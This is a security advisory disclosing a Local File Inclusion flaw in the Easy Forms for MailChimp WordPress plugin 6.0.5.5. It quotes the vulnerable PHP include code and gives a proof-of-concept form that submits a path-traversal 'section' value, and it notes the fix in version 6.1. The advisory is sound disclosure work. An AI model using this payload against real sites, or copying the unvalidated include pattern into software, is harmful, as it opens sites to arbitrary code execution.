WordPress Easy Forms For MailChimp 6.0.5.5 Local File Inclusion
Posted on 13 July 2016
------------------------------------------------------------------------ Easy Forms for MailChimp Local File Inclusion vulnerability ------------------------------------------------------------------------ Yorick Koster, July 2016 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ It was discovered that the Easy Forms for MailChimp WordPress plugin is vulnerable to Local File Inclusion. This issue can potentially be exploited to run arbitrary PHP code. In order to do so, the attacker must be able to place an arbitrary PHP file on the target system. The malicious file must have the .php extension. ------------------------------------------------------------------------ OVE ID ------------------------------------------------------------------------ OVE-20160712-0023 ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ This issue was successfully tested on Easy Forms for MailChimp WordPress Plugin version 6.0.5.5. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ This issue is resolved in Easy Forms for MailChimp 6.1. ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://sumofpwn.nl/advisory/2016/easy_forms_for_mailchimp_local_file_inclusion_vulnerability.html The issue exists in the file /admin/partials/menu/options.php and is caused by the lack of input validation on the section request parameter. The vulnerable code is listed below. <?php if( !isset( $_REQUEST['section'] ) || $_REQUEST['section'] == '' ) { include YIKES_MC_PATH . 'admin/partials/menu/options-sections/general-settings.php'; } else { if( isset( $_REQUEST['addon'] ) && $_REQUEST['addon'] == 'true' ) { include apply_filters( 'yikes-mailchimp-'.$_REQUEST['section'].'-options-path' , '' ); } else { include YIKES_MC_PATH . 'admin/partials/menu/options-sections/' . $_REQUEST['section'] . '.php'; } } ?> Proof of concept <html> <body> <form action="http://<target>/wp-admin/admin.php?page=yikes-inc-easy-mailchimp-settings" method="POST"> <input type="hidden" name="section" value="../../edit-form" /> <input type="submit" value="Submit request" /> </form> </body> </html> ------------------------------------------------------------------------ Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its goal is to contribute to the security of popular, widely used OSS projects in a fun and educational way.
